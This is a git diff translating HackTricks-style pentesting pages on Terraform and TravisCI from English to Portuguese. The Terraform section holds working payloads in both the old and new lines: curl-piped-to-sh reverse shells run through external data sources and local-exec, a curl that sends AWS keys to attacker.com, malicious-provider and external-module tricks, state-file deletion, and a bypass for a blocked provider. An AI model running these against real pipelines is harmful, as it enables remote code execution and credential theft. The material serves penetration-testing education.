on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features. +HashiCorp Terraform é uma **ferramenta de infraestrutura como código** que permite definir tanto **recursos em nuvem quanto locais** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo de seu ciclo de vida. O Terraform pode gerenciar componentes de baixo nível, como computação, armazenamento e recursos de rede, bem como componentes de alto nível, como entradas DNS e recursos SaaS. -#### How does Terraform work? +#### Como o Terraform funciona? -Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API. +O Terraform cria e gerencia recursos em plataformas de nuvem e outros serviços por meio de suas interfaces de programação de aplicativos (APIs). Os provedores permitem que o Terraform funcione com praticamente qualquer plataforma ou serviço com uma API acessível. ![](<../images/image (177).png>) -HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more. +A HashiCorp e a comunidade Terraform já escreveram **mais de 1700 provedores** para gerenciar milhares de tipos diferentes de recursos e serviços, e esse número continua a crescer. Você pode encontrar todos os provedores disponíveis publicamente no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e muitos mais. -The core Terraform workflow consists of three stages: +O fluxo de trabalho central do Terraform consiste em três etapas: -- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer. -- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration. -- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines. +- **Escrever:** Você define recursos, que podem estar em vários provedores e serviços de nuvem. Por exemplo, você pode criar uma configuração para implantar um aplicativo em máquinas virtuais em uma rede de Nuvem Privada Virtual (VPC) com grupos de segurança e um balanceador de carga. +- **Planejar:** O Terraform cria um plano de execução descrevendo a infraestrutura que criará, atualizará ou destruirá com base na infraestrutura existente e em sua configuração. +- **Aplicar:** Após a aprovação, o Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências de recursos. Por exemplo, se você atualizar as propriedades de uma VPC e mudar o número de máquinas virtuais nessa VPC, o Terraform recriará a VPC antes de escalar as máquinas virtuais. ![](<../images/image (215).png>) -### Terraform Lab +### Laboratório Terraform -Just install terraform in your computer. +Basta instalar o terraform no seu computador. -Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). +Aqui você tem um [guia](https://learn.hashicorp.com/tutorials/terraform/install-cli) e aqui você tem a [melhor maneira de baixar o terraform](https://www.terraform.io/downloads). -## RCE in Terraform +## RCE no Terraform -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**. +O Terraform **não tem uma plataforma que expõe uma página da web ou um serviço de rede** que possamos enumerar, portanto, a única maneira de comprometer o terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform**. -However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. +No entanto, o terraform é um **componente muito sensível** a comprometer porque terá **acesso privilegiado** a diferentes locais para que possa funcionar corretamente. -The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**. +A principal maneira de um atacante conseguir comprometer o sistema onde o terraform está sendo executado é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas serão **interpretadas**. -Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**: +Na verdade, existem soluções que **executam o terraform plan/apply automaticamente após um PR** ser criado, como **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`. +Se você conseguir comprometer um arquivo terraform, existem diferentes maneiras de realizar RCE quando alguém executa `terraform plan` ou `terraform apply`. ### Terraform plan -Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`. +O terraform plan é o **comando mais utilizado** no terraform e desenvolvedores/soluções que usam terraform o chamam o tempo todo, então a **maneira mais fácil de obter RCE** é garantir que você envenene um arquivo de configuração do terraform que executará comandos arbitrários em um `terraform plan`. -**Using an external provider** +**Usando um provedor externo** -Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. - -Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`: +O Terraform oferece o [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que fornece uma maneira de interagir entre o Terraform e programas externos. Você pode usar a fonte de dados `external` para executar código arbitrário durante um `plan`. +Injetar em um arquivo de configuração do terraform algo como o seguinte executará um rev shell ao executar `terraform plan`: ```javascript data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Usando um provedor personalizado** -**Using a custom provider** - -An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): - +Um atacante poderia enviar um [provedor personalizado](https://learn.hashicorp.com/tutorials/terraform/provider-setup) para o [Terraform Registry](https://registry.terraform.io/) e então adicioná-lo ao código Terraform em um branch de recurso ([exemplo daqui](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript - terraform { - required_providers { - evil = { - source = "evil/evil" - version = "1.0" - } - } - } +terraform { +required_providers { +evil = { +source = "evil/evil" +version = "1.0" +} +} +} provider "evil" {} ``` +O provedor é baixado no `init` e executará o código malicioso quando `plan` for executado -The provider is downloaded in the `init` and will run the malicious code when `plan` is executed +Você pode encontrar um exemplo em [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +**Usando uma referência externa** -**Using an external reference** - -Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, mas mais complexa do que a primeira). Você pode realizar este ataque de uma **maneira mais discreta**, seguindo estas sugestões: +- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contém o rev shell: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +Você pode encontrar o código rev shell em [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- No recurso externo, use o recurso **ref** para ocultar o **código rev shell do terraform em um branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: - +O Terraform apply será executado para aplicar todas as mudanças, você também pode abusar disso para obter RCE injetando **um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Você só precisa garantir que algum payload como os seguintes termine no arquivo `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +Siga as **sugestões da técnica anterior** para realizar este ataque de uma **maneira mais furtiva usando referências externas**. -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. - -## Secrets Dumps - -You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: +## Dumps de Segredos +Você pode ter **valores secretos usados pelo terraform despejados** executando `terraform apply` ao adicionar ao arquivo terraform algo como: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +## Abusando de Arquivos de Estado do Terraform -## Abusing Terraform State Files +Caso você tenha acesso de escrita sobre arquivos de estado do terraform, mas não possa alterar o código do terraform, [**esta pesquisa**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferece algumas opções interessantes para aproveitar o arquivo: -In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file: +### Deletando recursos -### Deleting resources +Existem 2 maneiras de destruir recursos: -There are 2 ways to destroy resources: - -1. **Insert a resource with a random name into the state file pointing to the real resource to destroy** - -Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page: +1. **Inserir um recurso com um nome aleatório no arquivo de estado apontando para o recurso real a ser destruído** +Porque o terraform verá que o recurso não deveria existir, ele o destruirá (seguindo o ID do recurso real indicado). Exemplo da página anterior: ```json { - "mode": "managed", - "type": "aws_instance", - "name": "example", - "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", - "instances": [ - { - "attributes": { - "id": "i-1234567890abcdefg" - } - } - ] +"mode": "managed", +"type": "aws_instance", +"name": "example", +"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", +"instances": [ +{ +"attributes": { +"id": "i-1234567890abcdefg" +} +} +] }, ``` +2. **Modifique o recurso para excluir de uma maneira que não seja possível atualizar (para que ele seja excluído e recriado)** -2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)** - -For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it. +Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluir e recriá-la. ### RCE -It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research: - +Também é possível [criar um provedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e simplesmente substituir um dos provedores no arquivo de estado do terraform pelo malicioso ou adicionar um recurso vazio com o provedor malicioso. Exemplo da pesquisa original: ```json "resources": [ { - "mode": "managed", - "type": "scaffolding_example", - "name": "example", - "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", - "instances": [ +"mode": "managed", +"type": "scaffolding_example", +"name": "example", +"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", +"instances": [ - ] +] }, ``` +### Substituir provedor na lista negra -### Replace blacklisted provider - -In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well. - +No caso de você encontrar uma situação onde `hashicorp/external` foi colocado na lista negra, você pode re-implementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. Você também pode publicar seu próprio fork ou re-implementação. ```terraform terraform { - required_providers { - external = { - source = "nazarewk/external" - version = "3.0.0" - } - } +required_providers { +external = { +source = "nazarewk/external" +version = "3.0.0" +} +} } ``` - -Then you can use `external` as per normal. - +Então você pode usar `external` como de costume. ```terraform data "external" "example" { - program = ["sh", "-c", "whoami"] +program = ["sh", "-c", "whoami"] } ``` - -## Automatic Audit Tools +## Ferramentas de Auditoria Automática ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats. - -- **Features:** - - Real-time scanning for security vulnerabilities and compliance issues. - - Integration with version control systems (GitHub, GitLab, Bitbucket). - - Automated fix pull requests. - - Detailed remediation advice. -- **Sign Up:** Create an account on [Snyk](https://snyk.io/). +Snyk oferece uma solução abrangente de escaneamento de Infrastructure as Code (IaC) que detecta vulnerabilidades e configurações incorretas em Terraform, CloudFormation, Kubernetes e outros formatos de IaC. +- **Recursos:** +- Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade. +- Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket). +- Pull requests de correção automatizadas. +- Conselhos detalhados de remediação. +- **Inscreva-se:** Crie uma conta em [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` - ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. +**Checkov** é uma ferramenta de análise de código estático para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes de código aberto. -It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. - -It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs). +Ele escaneia a infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo. +Ele realiza [análise de composição de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes de código aberto e imagens para Vulnerabilidades e Exposições Comuns (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` - ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code. +Do [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` é um framework de teste leve, focado em segurança e conformidade, contra terraform para habilitar a capacidade de teste negativo para sua infraestrutura como código. -- **compliance:** Ensure the implemented code is following security standards, your own custom standards -- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ? -- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** it validates your code before it is deployed -- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated. -- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible. +- **conformidade:** Garantir que o código implementado esteja seguindo padrões de segurança, seus próprios padrões personalizados +- **desenvolvimento orientado a comportamento:** Temos BDD para quase tudo, por que não para IaC? +- **portátil:** basta instalá-lo via `pip` ou executá-lo através do `docker`. Veja [Instalação](https://terraform-compliance.com/pages/installation/) +- **pré-implantação:** valida seu código antes de ser implantado +- **fácil de integrar:** pode ser executado em seu pipeline (ou em ganchos git) para garantir que todas as implantações sejam validadas. +- **segregação de deveres:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável. > [!NOTE] -> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool. - +> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá executar o `terraform plan` e rodar esta ferramenta. ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` - ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. - -- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers -- ⛔ Hundreds of built-in rules -- 🪆 Scans modules (local and remote) -- ➕ Evaluates HCL expressions as well as literal values -- ↪️ Evaluates Terraform functions e.g. `concat()` -- 🔗 Evaluates relationships between Terraform resources -- 🧰 Compatible with the Terraform CDK -- 🙅 Applies (and embellishes) user-defined Rego policies -- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- 🛠️ Configurable (via CLI flags and/or config file) -- ⚡ Very fast, capable of quickly scanning huge repositories +Do [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa análise estática do seu código terraform para identificar possíveis configurações incorretas. +- ☁️ Verifica configurações incorretas em todos os principais (e alguns menores) provedores de nuvem +- ⛔ Centenas de regras integradas +- 🪆 Escaneia módulos (locais e remotos) +- ➕ Avalia expressões HCL, bem como valores literais +- ↪️ Avalia funções Terraform, por exemplo, `concat()` +- 🔗 Avalia relacionamentos entre recursos Terraform +- 🧰 Compatível com o Terraform CDK +- 🙅 Aplica (e embeleza) políticas Rego definidas pelo usuário +- 📃 Suporta múltiplos formatos de saída: lovely (padrão), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif. +- 🛠️ Configurável (via flags de CLI e/ou arquivo de configuração) +- ⚡ Muito rápido, capaz de escanear rapidamente grandes repositórios ```bash brew install tfsec tfsec /path/to/folder ``` - ### [KICKS](https://github.com/Checkmarx/kics) -Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx. - -**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project. +Encontre vulnerabilidades de segurança, problemas de conformidade e configurações incorretas de infraestrutura no início do ciclo de desenvolvimento da sua infraestrutura como código com **KICS** da Checkmarx. +**KICS** significa **K**eeping **I**nfrastructure as **C**ode **S**ecure, é de código aberto e é indispensável para qualquer projeto nativo da nuvem. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` - ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to: - -- Seamlessly scan infrastructure as code for misconfigurations. -- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture. -- Detect security vulnerabilities and compliance violations. -- Mitigate risks before provisioning cloud native infrastructure. -- Offers flexibility to run locally or integrate with your CI\CD. +Do [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador de código estático para Infraestrutura como Código. Terrascan permite que você: +- Escaneie perfeitamente a infraestrutura como código em busca de configurações incorretas. +- Monitore a infraestrutura em nuvem provisionada para alterações de configuração que introduzem desvios de postura e permite reverter para uma postura segura. +- Detecte vulnerabilidades de segurança e violações de conformidade. +- Mitigue riscos antes de provisionar infraestrutura nativa em nuvem. +- Oferece flexibilidade para rodar localmente ou integrar com seu CI\CD. ```bash brew install terrascan ``` - -## References +## Referências - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) @@ -310,7 +280,3 @@ brew install terrascan - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 63a3bb5c8..82f219624 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective +Pull requests do Github são bem-vindos explicando como (ab)usar essas plataformas do ponto de vista de um atacante - Drone - TeamCity @@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke - Rancher - Mesosphere - Radicle -- Any other CI/CD platform... +- Qualquer outra plataforma CI/CD... {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index cff623392..7e565c381 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -2,68 +2,64 @@ {{#include ../../banners/hacktricks-training.md}} -## What is TravisCI +## O que é TravisCI -**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**. +**Travis CI** é um serviço de **integração contínua** **hospedado** ou em **instalações próprias** usado para construir e testar projetos de software hospedados em várias **plataformas git diferentes**. {{#ref}} basic-travisci-information.md {{#endref}} -## Attacks +## Ataques -### Triggers +### Gatilhos -To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**: +Para lançar um ataque, você primeiro precisa saber como acionar uma construção. Por padrão, o TravisCI **acionará uma construção em pushes e pull requests**: ![](<../../images/image (145).png>) #### Cron Jobs -If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build: +Se você tiver acesso à aplicação web, pode **definir crons para executar a construção**, isso pode ser útil para persistência ou para acionar uma construção: ![](<../../images/image (243).png>) > [!NOTE] -> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162). +> Parece que não é possível definir crons dentro do `.travis.yml` de acordo com [isso](https://github.com/travis-ci/travis-ci/issues/9162). -### Third Party PR +### PR de Terceiros -TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets: +O TravisCI, por padrão, desabilita o compartilhamento de variáveis de ambiente com PRs provenientes de terceiros, mas alguém pode habilitá-lo e então você poderia criar PRs para o repositório e exfiltrar os segredos: ![](<../../images/image (208).png>) ### Dumping Secrets -As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines). +Como explicado na página de [**informações básicas**](basic-travisci-information.md), existem 2 tipos de segredos. **Segredos de Variáveis de Ambiente** (que estão listados na página web) e **segredos criptografados personalizados**, que são armazenados dentro do arquivo `.travis.yml` como base64 (note que ambos, quando armazenados criptografados, acabarão como variáveis de ambiente nas máquinas finais). -- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build. -- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**. -- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as: +- Para **enumerar segredos** configurados como **Variáveis de Ambiente**, vá para as **configurações** do **projeto** e verifique a lista. No entanto, note que todas as variáveis de ambiente do projeto definidas aqui aparecerão ao acionar uma construção. +- Para enumerar os **segredos criptografados personalizados**, o melhor que você pode fazer é **verificar o arquivo `.travis.yml`**. +- Para **enumerar arquivos criptografados**, você pode verificar por **arquivos `.enc`** no repositório, por linhas semelhantes a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` no arquivo de configuração, ou por **iv e chaves criptografadas** nas **Variáveis de Ambiente** como: ![](<../../images/image (81).png>) ### TODO: -- Example build with reverse shell running on Windows/Mac/Linux -- Example build leaking the env base64 encoded in the logs +- Exemplo de construção com shell reverso rodando em Windows/Mac/Linux +- Exemplo de construção vazando a env codificada em base64 nos logs ### TravisCI Enterprise -If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to: +Se um atacante acabar em um ambiente que usa **TravisCI enterprise** (mais informações sobre o que é isso na [**informação básica**](basic-travisci-information.md#travisci-enterprise)), ele poderá **acionar construções no Worker.** Isso significa que um atacante poderá se mover lateralmente para aquele servidor do qual ele poderá ser capaz de: -- escape to the host? -- compromise kubernetes? -- compromise other machines running in the same network? -- compromise new cloud credentials? +- escapar para o host? +- comprometer kubernetes? +- comprometer outras máquinas rodando na mesma rede? +- comprometer novas credenciais de nuvem? -## References +## Referências - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 46b10bf38..d48563904 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,48 +1,45 @@ -# Basic TravisCI Information +# Informações Básicas do TravisCI {{#include ../../banners/hacktricks-training.md}} -## Access +## Acesso -TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI. +TravisCI integra-se diretamente com diferentes plataformas git, como Github, Bitbucket, Assembla e Gitlab. Ele pedirá ao usuário que conceda permissões ao TravisCI para acessar os repositórios que deseja integrar ao TravisCI. -For example, in Github it will ask for the following permissions: +Por exemplo, no Github, ele pedirá as seguintes permissões: -- `user:email` (read-only) -- `read:org` (read-only) -- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations. +- `user:email` (somente leitura) +- `read:org` (somente leitura) +- `repo`: Concede acesso de leitura e gravação ao código, status de commit, colaboradores e status de implantação para repositórios e organizações públicas e privadas. -## Encrypted Secrets +## Segredos Criptografados -### Environment Variables +### Variáveis de Ambiente -In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build. +No TravisCI, assim como em outras plataformas de CI, é possível **salvar segredos a nível de repositório** que serão salvos criptografados e **decriptados e enviados na variável de ambiente** da máquina que executa a construção. 